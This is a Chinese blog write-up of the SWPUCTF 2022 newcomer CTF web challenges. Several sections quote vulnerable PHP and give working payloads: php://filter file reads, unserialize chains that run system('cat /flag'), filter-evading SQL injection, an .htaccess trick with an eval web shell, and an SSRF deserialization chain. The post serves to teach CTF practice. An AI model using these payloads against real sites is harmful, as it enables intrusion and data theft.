SWPUCTF 2022 新生赛-WEB部分wp

目录

ez_ez_php

ez_ez_php(revenge)

奇妙的MD5

1z_unserialize

numgame

where_am_i

 ez_ez_unserialize

js_sign

xff

 webdog1__start

ez_sql

funny_php

funny_web

ez_1zpop

Ez_upload

file_master

Power! 


ez_ez_php

源代码:

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

 文件包含而且还限制了开头3个字符为php

直接php伪协议

?file=php://filter/convert.base64-encode/resource=flag.php

payload:

?file=php://filter/read=convert.base64-encode/resource=flag

base64解码

ez_ez_php(revenge)

源代码:

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

payload:

?file=php://filter/convert.base64-encode/resource=/flag

base64解码

奇妙的MD5

 ffifdyop

经过md5加密后:276f722736c95d99e921722cf9ed621c

再转换为字符串:'or'6<乱码>  即  'or'66�]��!r,��b

用途:

 select * from admin where password=''or'6<乱码>'

就相当于select * from admin where password=''or 1  实现sql注入

查看一下源代码

md5绕过

payload:

?x=240610708&y=QLTHNDT

 访问f1na11y.php

直接数组绕过

wqh[]=1&dsy[]=2

1z_unserialize

源代码:

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

这是这一题的注入点只要传参把$a变成system();$this->lly变成ls或者cat就是一个简单的命令注入了

payload:

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
}
$a = new lyh();
$a->lt='system';
$a->lly='ls /';
echo serialize($a);
 
?> 
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";} 

 接下来就是cat flag就行了

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";} 

numgame

 

 在设置里打开开发者工具

进入设置禁用js即可

flag在js文件中

base64解码

我们的目的,就是通过get传参p然后,借助 call_user_func调用nss中的ctf静态方法

if (preg_match("/n|c/m",$_GET['p'], $matches))

就是禁用了n和c,然后/m以多文本形式,

call_user_func($_GET['p']);调用p传入的函数

 这里普及一个知识点

可以通过NSS::CTF调用类中的CTF的静态方法,这里的类名和方法名不区分大小写

所以我们就可以大写绕过

又因为hint2.php

所以payload:

?p=Nss2::Ctf

where_am_i

猜测电话号码

去搜索图片即可

02886112888

 ez_ez_unserialize

源代码:

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

payload:

<?php
class X
{
    public $x = 'fllllllag.php';
}
$a=new X;
echo serialize($a);
?>
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

还要绕过__wakeup函数

 所以修改为:

?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

js_sign

看看源代码

有个js

这应该就是解题的关键了

这里使用到一个工具

CTF在线工具-在线敲击码|敲击码编码|敲击码算法|tap code (hiencode.com)

去空格解码

3343431344215434452124331421311122125444113513341415

会出现这个

flag

NSSCTF{youfindflagbytapcode}

xff

 

 webdog1__start

一般的md5绕过是传入0e开头的md5值,因为在弱比较时,弱比较中会截取一个字符串的数字,知道遇到字符截止,对于0e+数字的值只会截取e之前的0,所以这里即便是令传入的md5值等于$md5后还需要等于其自身进行md5的值,我们选取0e或者加密后仍为0e开头的数就行例如:0e215962017 、以及这些纯字符串转化后为0e+数字的数:QNKCDZO、s878926199a

?web=0e215962017 

查看源代码 

bot一般就是robots.txt,在以后你们做题时候会偶尔遇到泄露robots.txt从而得到提示的情况

开始会乱码,修复即可(如果是firefox可以在定制工具栏中找到)

藏的还挺深 

这里strstr过滤了空格

str_ireplace将flag替换成空格

payload:

?get=system(ls);

 %09相当于(tab)

?get=system("cat%09/f*");

ez_sql

相对安全的方法传参,这里应该指的是POST传参

尝试传一个 

事情应该没有这么简单

通过尝试知道过滤了空格和or

 可以用/**/替代空格or可以使用双写

nss=1'/**/oorrder/**/by/**/4#

我们可以得知数据库有3列

爆破数据库(union方法上同)

nss=1'/**/ununionion/**/select/**/1,updatexml(1,concat(0x7e,(select/**/database()),0x7e),1)#

爆破数据表(information的or也要过滤)

nss=1'/**/ununionion/**/select/**/1,updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db'),0x7e),1) #

爆破NSS_tb中的列

nss=1'/**/ununionion/**/select/**/1,updatexml(1,concat(0x7e,(select/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'),0x7e),1) #

爆破flag

nss=1'/**/ununionion/**/select/**/1,updatexml(1,concat(0x7e,(select/**/group_concat(flll444g)/**/from/**/NSS_tb),0x7e),1) #

一看就是个假的

爆破Secr3t

nss=0'/**/ununionion/**/select/**/1,(select/**/group_concat(Secr3t)/**/from/**/NSS_tb),3#

funny_php

源代码:

<?php
    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }

    
?>

 我们一步步来解

第一步

if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }

 这里要求num的长度小于等于3,但却又要大于999999999,很容易可以想到1e9传参

所以payload:

?num=1e9

第二步 

if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    } 

这里会将你传入字符串中的NSSCTF替换为空,那么我们只需要使用双写来进行绕过即可。

?str=NSSNSSCTFCTF

第三步

if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    } 

这里直接md5弱类型绕过即可

md5_1=240610708&md5_2=QLTHNDT

所以payload:

GET
?num=1e9&str=NSSNSSCTFCTF
POST
md5_1=240610708&md5_2=QLTHNDT

funny_web

账号:NSS

密码:2122693401

payload:

?num=12345a

 

ez_1zpop

源代码:

<?php
error_reporting(0);
class dxg
{
   function fmm()
   {
      return "nonono";
   }
}

class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   {
      $this->impo = new dxg;
   }
   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
      echo $this;
   }
}

class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

fin对象

fmm方法通过给�赋值后,当函数调用,如果给b赋值后,当函数调用,如果给b=‘system’

title再传入我们想要的命令

最后就可得到例,system(‘ls’) => �=′������′;a=′system′;title=‘目标命令’

lt对象

反序列化触发__wakeup,__destruct,__wakeup方法中,给impo实例一个dxg对象,并直接return,无法获取有效信息,绕过__wakeup的方法很简单,只需要将反序列化后的字符串,将对象属性数量改大,如,O:3:“fin”:3:{s:1:“a”;N;s:3:“url”;N;s:5:“title”;N;} => O:3:“fin”:4:{s:1:“a”;N;s:3:“url”;N;s:5:“title”;N;}

__destruct方法触发就很简单了,将自己当字符串输出,直接触发__toString方法,返回fmm方法

payload:

<?php
class lt
{
    public $impo;
    public $md51='240610708';
    public $md52='QLTHNDT';
}
class fin
{
   public $a='system';
   public $ur='111' ;
   public $title='ls /';

}
$aa=new lt();
$aa->impo=new fin();
echo serialize($aa);
?>

这里修改lt属性个数绕过__wakeup

?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:2:"ur";s:3:"111";s:5:"title";s:4:"ls%20/";}s:4:"md51";s:9:"240610708";s:4:"md52";s:7:"QLTHNDT";}

 拿flag

payload:

<?php
class lt
{
    public $impo;
    public $md51='240610708';
    public $md52='QLTHNDT';
}
class fin
{
   public $a='system';
   public $ur='111' ;
   public $title='cat /flag';

}
$aa=new lt();
$aa->impo=new fin();
echo serialize($aa);
?>
?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:2:"ur";s:3:"111";s:5:"title";s:9:"cat%20/flag";}s:4:"md51";s:9:"240610708";s:4:"md52";s:7:"QLTHNDT";}

Ez_upload

文件上传

上传.htaccess文件

<FilesMatch "mochu">
SetHandler application/x-httpd-php
</FilesMatch>

修改Content-Type

上传shell.mochu

<script language="php">@eval($_POST['1']);</script>

访问shell.mochu即可 

file_master

先写a.php

写入

GIF89a
<?=eval($_POST['1']);?>

上传

将Content-Type修改

 发现hight和width有限制

将GIF89a修改为
#define height 1
#define width 1

蚁剑连接上了但访问不了flag不知道为什么

后面看别的师傅写的

#define height 1
#define width 1
<?=`nl /f*`;?>

Power! 

看一下源代码

 盲猜get传source

 源代码:

<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
            }else{
                echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
            }
            
        }else if(isset($_GET['path_info'])){
            $path_info = $_GET['path_info'];
            $FV = unserialize(base64_decode($path_info));
            $FV->loadfile();
        }else{
            $path = "vergil.jpg";
            echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }
    }
?> 

没怎么看懂

这里看大佬的wp

NSS[SWPUCTF 2022 新生赛]ez_sql+funny_php+js_sign+funny_web+Power! - 哔哩哔哩 (bilibili.com)

<?php
    class FileViewer{
        public $black_list ="黑名单什么的管不着我";
        public $local;
        public $path="flag.php";
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker ="127.0.0.1:65500/";
        }
$m = new FileViewer;
$n = new Backdoor;
$n->a=$m;
$n->b="local";
$m->local=$n;

echo (base64_encode(serialize($m)));
?> 

payload:

?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czozMDoi6buR5ZCN5Y2V5LuA5LmI55qE566h5LiN552A5oiRIjtzOjU6ImxvY2FsIjtPOjg6IkJhY2tkb29yIjozOntzOjE6ImEiO3I6MTtzOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjg6ImZsYWcucGhwIjt9

base64解码

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值